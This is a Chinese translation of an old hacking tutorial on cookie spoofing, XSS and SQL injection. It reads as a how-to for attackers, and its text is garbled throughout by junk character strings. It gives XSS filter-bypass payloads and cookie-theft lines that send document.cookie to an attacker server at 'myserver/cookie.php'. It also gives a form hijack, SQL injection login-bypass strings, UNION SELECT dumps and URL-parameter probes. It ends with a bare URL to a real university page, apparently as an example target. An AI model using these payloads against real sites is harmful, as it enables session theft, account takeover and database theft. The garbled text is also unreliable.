XSS & SQL注入

admin

XSS & SQL注入
文章作者：CyberPhreak
译文作者：黯魂 [S.S.T]
* r7 D' S% e" f+ Q* E" ~4 S
3 s5 Q* a* X6 d! L
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
4 y$ e8 @( M2 a) NX Web Security - XSS & more X
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
! O% H8 X, u# M* F1 g  E" t) d3 l
2 ^. `! s" a% F* T, U
~介绍
9 Y; M8 t7 W3 i1 u- ~* L6 \
. d8 l, Z9 Y4 s! T5 t( P在这篇文章中我将说明所有关于XSS以及更多相关的知识.通过这篇文档,我希望能让你明白什么是XSS,为什么使用XSS,以及怎样使用XSS.一旦你学会了,你将需要发挥自己的创造力,因为大多数人都修补了简单的XSS漏洞.但是他们所忘记做的是修补比XSS的一个字符串更多的漏洞,并且php中特殊安全机制被用来防御XSS,而取代他们自己的方法.同时我将阐述的不仅仅是XSS,而是所有的web安全.
& t3 T# }  [4 I, @- \/ M
XXXXXXXXXXXXXXXXXXXXX
2 ?; ~; s: T3 S; eX Table OF Contents X
% a1 B  p3 g) v! e. c/ ~XXXXXXXXXXXXXXXXXXXXX

9 I9 V  ~% z& J" Q1 I* HXXXXXXXXXXXXXXXXXXXX
3 e1 a  h9 b1 ~; k2 y4 R) J, y0 \6 rX Cookie Editing X
X XSS X
X SQL Injection X
) F* [2 G; D# M4 G& b8 g; q# _XXXXXXXXXXXXXXXXXXXX
, q% T5 ~5 _- {8 e2 g
~什么是cookie

4 g1 H. E& M( F. P) ^6 ucookie就是一块数据.一旦你浏览一个站点并且注册一个帐号,一个cookie就被设置以记录你的信息.cookie仅仅保存你登录的信息以使站点检测以前你是否登录过,如果不是,它就会检测你的用户名和密码的正确性,然后登录.比如说在一个夜总会,你买了一张票,他们就会给你一张卡.因此你可以进进出出而不用每次都买票.而cookies比你所能看到的要复杂得多.夜总会只能记住你一晚上,但是cookies却能记住你一辈子.

- l: y% q$ U& @5 v$ |~警告&欺骗

那么现在你知道了cookie是什么...你如何看待它们?事实上,cookie编辑(修改)是最简单的方法之一.只要有一个浏览器,你就能够查看和编辑cookies,并且只需要一些基础的javascript知识.打开你的浏览器然后随便去一个网站吧,登录...现在输入javascript:alert(document.cookie).这时你应该可以看见一个用户名和密码.然而大多数站点现在都不使用cookies,而使用sessions.很遗憾,sessions不能被修改(服务端可以),不像cookies,一旦你修改了一个cookie你就可以欺骗你自己.现在让我们开始欺骗...假设你看到了一个警告框并且看到一些像这样的内容:
* X1 y7 V1 O( q4 n$ N& i( M
( v2 E. B  y  P6 f3 D) Estrusername=cnsst;strpassword=cnsst
4 E! W7 _* u2 @9 F
此时假设你知道'bitch'是一个管理员,可是你不知道密码. 由于脆弱的安全机制你不需要密码:javascript:void(document.cookie="strusername=bitch")
) n! l: ~" g3 _+ S现在输入:javascript:alert(document.cookie).那几乎非常接近cookie修改了...

~什么是XSS
, p+ G% q& z- \
XSS,或者CSS,不管你更喜欢怎样称呼它,XSS(CSS)都代表着跨站脚本.基本上意思就是你能以任何方式注入脚本,来让它完成你想要做的.通过XSS你也可以截获输入信息,像用户名,密码以及cookies.这都将被讨论,所以接下来将会有很多例子,我们这篇文章应该能够帮你在XSS上发挥自己的创造力.
1 c9 f" R) p, @: S$ \4 m) t1 t# V
) L. D7 R* i" T+ z# c~为什么使用XSS

- M  H  u, }7 |; C" Y# ]2 G很明显的问题,通过XSS你能在客户端和服务器端执行任何类型的脚本.然而XSS却不仅仅局限于执行脚本上,还能截获输入.输入类似:<input name="name" type="name">
你通过XSS截获输入,然后通过一个秘密文件把截获到的信息发送向你的站点.而这一切绝不是XSS所能实现的全部作用.XSS还能截获cookies.Cookies保存着有价值的信息,像用户名,密码等等.

~让我们开始吧…
6 w" x- c. ^6 P( d7 k; j1 ^& Z2 z
+ x7 }) x: Q) \  ]我假定你知道html和javascript,而php知识也有帮助,但却不是必要的.让我们从这个php脚本开始.
$ d( m$ _8 X' h
XSS--跨站脚本&lt;html&gt;
( a( Q. R8 o+ I/ X2 p$ C: G
&lt;body&gt;
2 s) `+ i7 y7 E/ p
&lt;form action="" method="GET"&gt;

: I+ j, n, Z: D4 G) f, L&lt;!-- 我使用的GET方法,因为当我们利用的时候更容易练习. --&gt;
  p  k+ T3 o9 M0 ?" \
4 z3 ^1 A* D! z0 o/ m. D% U8 yScript: &lt;input name="name" type="name"&gt;

3 A! X+ K2 B% V2 C) X) D* G0 J&lt;input type="submit" value="submit"&gt;

7 P( b# d+ V7 ]1 d&lt;/form&gt;
4 W; u- H2 H: e( Z6 R- G: h
( t* v, p, h' @% b&lt;/body&gt;

/ R3 V1 }1 `9 V" C+ y3 b; Z; [" M&lt;/html&gt;
# K7 r# `. e- y' e- Q/ i8 C

4 y. b, l' E. B6 y7 b( x) P
) d5 e4 v, i  N5 p&lt;?php

$name = $_GET['name'];

echo("Hello $name");

?&gt;
0 s* v, [! j% Z, u复制代码OK,我们应该都知道上面的代码有什么用...这是一个非常奇怪的脚本,没有一个人会在自己的站点上使用它(至少我没见过),但是它对初学者理解原理却真的很有用.来看看我输入后所得到的信息:
/ {5 B' M" [, K8 u3 r0 F+ e2 a; M
cnsst
"Hello cnsst!"
" B' ]! j$ J9 L- t
8 S3 N  m2 O. _& ^引号内的信息就是输出信息..注意看,现在我输入:
) O* v4 y8 s8 S6 j# l<script>alert(document.cookie)</script>

那么它将会弹出document.cookie!所以它是易受XSS攻击的!

现在我们已经对XSS有了一点了解,那让我们理解它.首先,脚本做的是取得你的输入然后粘贴它.嗯...也就是说我们能输入任何数据.所以?等等...任何数据...好的,你想问客户端和服务器端分别有什么语言? 让我告诉你,基本上客户端语言是建立在你客户端浏览器之上的:JavaScript,html, VBScript等等...

服务器端语言在另一边,不是建立在你客户端之上的,而建立在服务器之上,有php,asp等等...

已有一些方法注入php,稍后我将说明.现在先想想这怎样才能对我们有帮助?注入javascript?简单.比如说你正在编写一个网站程序,由于是你的站点,所以你能使用所有你想使用的javascript(JS).因此其他任何人也可以,因为XSS允许你让网站运行你想要运行的任何脚本.

让我们看一个稍微复杂点的例子!
; h9 o2 K: T& p; B) s9 E8 X* _- G
假设你已经输入了<script>alert(document.cookie)</script>,并且回显是这样的:
6 E0 ^/ Q+ r9 H' [% k: V; K: [scriptalert(document.cookie)/script
6 c# W/ P# \) ?) K, s0 `- e) g或者可能是这样的:
$ n, l' |3 D+ d" T9 u8 R6 ~scriptalertdocument.cookie/script
: W9 b4 r8 V, ~) T: R
+ [2 V7 k7 H4 i" t, {可以看出更难利用了...不过有很多方法使用XSS,这只是其中一种.而且是其中最烂的方法之一.你看到当中的"<>"都被空字符" "替换了.
- F. l, Z/ S& T8 ]& X
" U; O1 G" G) Q  L让我们继续利用:
<<script>>alert(document.cookie)<</script>>
0 m0 S: ~; x: Y0 w9 [
: h1 V0 a$ B7 }2 O你的输出将弹出document.cookie.
& ~* R3 L8 W9 q5 |- u' o
现在来看看更狠的:
<<script>>alert((document.cookie))<<//script>>

! P8 n- r" x8 d* f& n
他们可能会替换所有的,或者只是"<>".所以如果一对不能得以执行,另一对就可以.现在,如果你看到:
2 {& a" e! Y" x/ m# W  g% f5 ^scriptalertdocument.cookie/script
' y6 c8 p2 A5 O或者 <<<script>>>alert(document.cookie)<<</script>>>  
9 j* x( I- n  v+ h; {3 y8 U' }
- Y9 ^5 j! C& S& |5 j他们可能替换2对来欺骗你,或者替换一些字母.试着用你自己的方法来利用...你输入:
<script>alert(document.cookie)</script>
4 ?1 a  M$ W. |* J4 r
7 Q/ P3 b; s6 m% I& `输出像这样:srplert(document.cookie)srp

仔细观察,你就会发现document.cookie中并没有什么被替换.为什么呢? 因为他们并不清楚你想要alert什么,以及你想做什么.所以他们只是猜测,就只阻止了"<>"以及script部分.怎么绕过?看看这个:
<<sccriiptt>>aalert(document.cookie)<<//sccriiptt>>

4 i. w, K  P3 f, G. m( f0 F5 W, h; ?所有重复多余的部分刚好被替换!现在让我们来点更高级的!

* i$ [1 y2 t1 R' L& n" e这次他们使用的仍然是替换,但是却检查了整个字符串!例如:
<script>alert(document.cookie)</script>

输出将是:
scriptalert(document.cookie)script
+ n/ C2 `5 `! T. ~
+ Y& X3 d; g1 Q  {看到这,你激动地说,"我知道该怎么做了!" OK,让我们按照你的方法来重新构造:
$ h7 x" E8 \# h' w  z<<script>>alert(document.cookie)<</script>>
4 o4 @* R- z) ]& _
输出:scriptalert(document.cookie)script. 这时你可能会继续增加更多的<>.可是,他们替换了任何"<>",无论你输入多少个...看到我说"任何"了吗?使用下面这个例子:

<
script
: @# ~, |5 s/ p; S>
% N( s( t  }5 B/ t, e6 E& yalert
- [. \$ O2 V0 [) |, l(
! f% F/ I& n# W1 cdocument
.
cookie
)
<
/
  k( r) c. p, ~8 x* C$ p$ S% Sscript
>
% e8 y& s( [% j( q( I: |8 W
2 l* C5 g9 b. x6 G" s
看看它,它没有替换"<>",它替换代码关键字.所以即便你写的是一句没有"<>"的代码,将仍然被替换,这就是我们为什么这样写的原因.假如对方使用更严格的标准,替换任何类型的代码,甚至是"alert"! 我们又该怎么改进呢?看看这个:
" J+ F) F+ w) W0 ~<
2 Q( e  d' u& p* q$ m0 B2 ys
9 e% u0 i8 [" p& I% L/ I' y4 r" Z0 oc
$ r* N$ s& _1 _/ s2 Y+ @r
" ?: A, t# p7 g' Q6 b' wi
$ ]% m9 H0 Z9 }) t- Wp
t
>
5 P) L6 s$ N) N) y3 S  ]a
1 e1 s1 K# d) Wl
' J( R; A/ S, o0 }& K8 ee
& R% a+ B& k5 ]  y8 M" Ir
t
* s# y* A  a' f8 ]* X(
7 d  k1 f' G+ K9 F7 k/ q, e7 |d
o
c
. _4 v' b2 C/ R  H6 `8 gu
m
e
n
t
# h( W  K/ n+ N# ?3 L+ N* f.
c
; s$ L% d6 s9 V% V" ^% v& fo
o
- h; W* [- i3 e8 m0 I2 l& b9 L6 Vk
" Q( G! u, a% M6 e6 a) ki
e
)
- Q9 ]7 F4 X- x# g8 U* R<
: S  D8 j) A/ K5 Z! j( J5 c3 D/
s
0 s7 @, R8 Y, s# I, b6 Vc
' S4 C5 ?0 ]3 ^, G. P3 o: qr
i
p
t
/
>
/ t  h8 o3 b: ^( n0 {; ~/ @( g
这下应该可以了,但是如果他们仍然替换"<",你可以增加2对"<< >>"(并且你可以用任何字符取代document.cookie)
& ?4 k+ D& k3 g6 y- S
# n% I7 h! o, V还有更多我可以演示的替换,但是我教你的只是想让你发挥自己的创造力.
$ j! {( h3 Y) i
5 N7 p" a" I  Z4 G- R现在让我来讲讲其他XSS方法.前面我们已经讨论了客户端XSS,那么现在就来看看服务器端XSS.
. R5 [" A' Z& h
首先让我说明它们之间的区别.客户端是从你浏览器经解释语言,如JavaScript (JS) VBScript (VBS)等而看到的.服务器端XSS是通过来自服务器端的语言,如php,asp等的XSS.客户端通过浏览器查看,服务器端通过服务器查看.

我们已经学会了怎样构造客户端XSS,而构造服务器端我们必须注入脚本到服务器上.要完成这个,我们需要找到一个像任何XSS的脚本,但是这个脚本能够保存你的XSS到服务器中.现在,假设你在一个网站上发表了一篇文章,现在要做的是取代文章,用XSS,为什么我们应该用JavaScript?为什么不用php?但是先让我给你看点东西.
) k, ^" U2 k) U8 l8 Xdocument.forms(0).action ="http://myserver/myscript.php
! d) w! }+ Y4 D- ^* \! z+ S这既能在服务器端也能在客户端,没有关系.因此你的脚本将复制他们所输入的信息到那个表单中,并保存在我们站点上的一个*.txt文件中.

再次假设你在网站上注册了一个帐号,并且可以自定义资料...
9 P0 U4 S+ S* z, Jdocument.images(0).src="http://myserver/cookie.php"+document.cookie.
或者如果你有空间可以存放指向自定义内容的链接,你可以输入:
$ q7 K$ K% l. r. m  L* Ajavascript:location.href="http://myserver/cookie.php"+document.cookie
这将截获访问我们资料的用户的cookie.这可以用于任何地方而不仅仅在资料上,它只是一个例子.
! W4 f( {3 n1 t0 K4 }* k  R; e4 e
有时一个站点会回显你的UserAgent和Referer...现在让我们在DOS提示符下或者命令行窗口中试一试一些XSS,
telnet example.com
GET /page/toplacewhere_itechos_your_useragent.php HTTP/1.1
9 h5 h- C4 J: I" D* G& E; |+ p1 gUser-Agent: &lt;script&gt;alert(document.cookie)&lt;/script&gt;
& v; Y# Y6 W9 hReferer: &lt;script&gt;alert(document.cookie)&lt;/script&gt;
~什么是SQL注入

SQL注入,网站中最大的安全问题之一.那么到底什么是SQL注入?其实也就是注入SQL.现在让我们来挖掘不同级别的SQL漏洞.假设你有一个像这样的登录页面:&lt;html&gt;
- A! Q$ d5 y/ g/ K* _; U
&lt;body&gt;

&lt;form action="" method="POST"&gt;
: c8 V  {4 q4 s7 @
, d6 R7 l' }' X2 M: x* F# XUsername: &lt;input name="name" type="name"&gt;
# b4 M4 T- v, `2 D* o+ G
, ?6 L$ W6 D0 I6 {Password: &lt;input name="password" type="password"&gt;
+ ]: F( x- k* M1 x# v/ Q( o
$ \8 Q" ~9 Z- S1 v4 X. q6 b4 X&lt;input type="submit" type="submit" value="Submit"&gt;

&lt;/form&gt;

* K/ m3 ]' Z; z! `&lt;/body&gt;

&lt;/html&gt;
! r/ v0 l# w9 Y  g  H: B* K复制代码这里面有一个XSS漏洞,但是不用担心它,没有办法猜出或者破解出密码.所以,我们该怎么办?SQL注入!
7 F- Y8 [4 l' {8 g0 W
最简单的攻击是在用户名和密码那里输入"'".如果没有保护机制,此时你应该得到一个错误信息.如果你得到了,它就是极易受攻击的.可是错误信息毫无价值,除非你知道如何利用它.所以,我会给你一个你可以使用的注入列表,以便在你得到一个单引号的错误信息时使用.

" d# T3 [) O" B& |, N2 G+ z'='
'OR 1=1--
'OR a=a--
'OR'
5 I3 k, z. |) W4 V$ d% S- s6 ^
2 E1 s$ o+ T/ X/ ]+ I9 N自从人们增强安全性以后,现在这些注入就很难发挥作用了,但是下面这个列表却是很多人在安全列表里没有注意到的:
) h7 }; j" d" Q! F
'OR''='
'OR"="
  m+ H: |2 {: B7 |2 b/ W1 a9 r: W'OR'="
'OR '="
'OR "='
5 G1 a) S2 Q& [' L'OR ''='
  |' L8 \3 Y* e* H: r# b+ w'OR '=''
'OR "=''
5 `5 F8 q" i) T' `0 U'OR ''="
( r' [" G% R- A" o3 D6 j  L; S

~
现在让我说明UNION ALL SELECT声明,这将选出数据库中的一个表...所显示的内容取决于你所选择的列.
UNION ALL SELECT username,password FROM users
/ {% I# q. @- `; o
. q; n& O+ n% R5 A+ {, M这个查询语句将执行,但是….如果毫无作用呢?
# Q! C# d- y+ D5 h5 sUNION ALL SELECT username,password FROM users WHERE username='OR "='
) a. Q( ^' i9 l, l8 f+ m! lAND password='OR "='

你可能使用其他字符来替代'OR "='以注入存在的注入点.可是首先考虑一下,你是怎么知道表名的?实际上,你发现了一个SQL漏洞,它给了你错误信息,而错误信息包含了表名.

一旦你发现了漏洞,你就会按照习惯去用类似'OR "='的方法去进行注入,以得到表名.有时候你想从表中查询一些有用的数据,你却不得不选择所有的表,因为你并不知道所要查询的数据在哪个表里.下面的例子中存在20个不同表名的表,你试图查询一个ip的列表:
UNION ALL SELECT
- I% m, a5 C: Z4 h6 P) a- L6 Nip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip FROM logs
% ~, x7 a0 t" X$ U/ tWHERE ip='OR''="

现在你看到这个了吗?(我确信你已经看到了)
1 K6 a6 w- l: g# y; V$ [http://example.com/index.php?article=34
那将浏览Id为34的文章...让我们用"'"替换34:
http://example.com/index.php?article='
9 L4 I9 E* y% q9 I/ g$ @

* K4 n6 K2 D- P& O现在,记住我所说的,大多数人都没有意识到'所带来的不安全性,你总是能够尝试不同的注入方法,这里是一些例子:
http://example.com/index.php?article='
. z0 ^. R, s( f9 i( Nhttp://example.com/index.php?article='='
5 O7 A( t; a% K& {, n! n1 d9 @http://example.com/index.php?article='OR 1=1--
% g2 n, b2 }3 N7 ?- z! j& Ghttp://example.com/index.php?article='OR a=a--
http://example.com/index.php?article='OR '="
4 M3 v! z! N! f7 ^9 A& l& K7 U% Q( |http://example.com/index.php?article='OR "='
: y8 r  f/ R0 w) E; i! K: X$ O- B4 Rhttp://example.com/index.php?article='OR ''='
http://example.com/index.php?article='OR '=''
* W4 W$ Z1 x7 phttp://example.com/index.php?article='OR''='
" E7 B! M% e: f$ G/ ^2 W) }http://example.com/index.php?article='OR"'='
: w  ?1 r# r( z8 Y2 r, d, L. }/ jhttp://example.com/index.php?article='OR"''='
' b  x- M! A5 J1 Q4 Z( P
尽情发挥自己的创造力!
http://www.ie.tsinghua.edu.cn/notice/show.php?id=704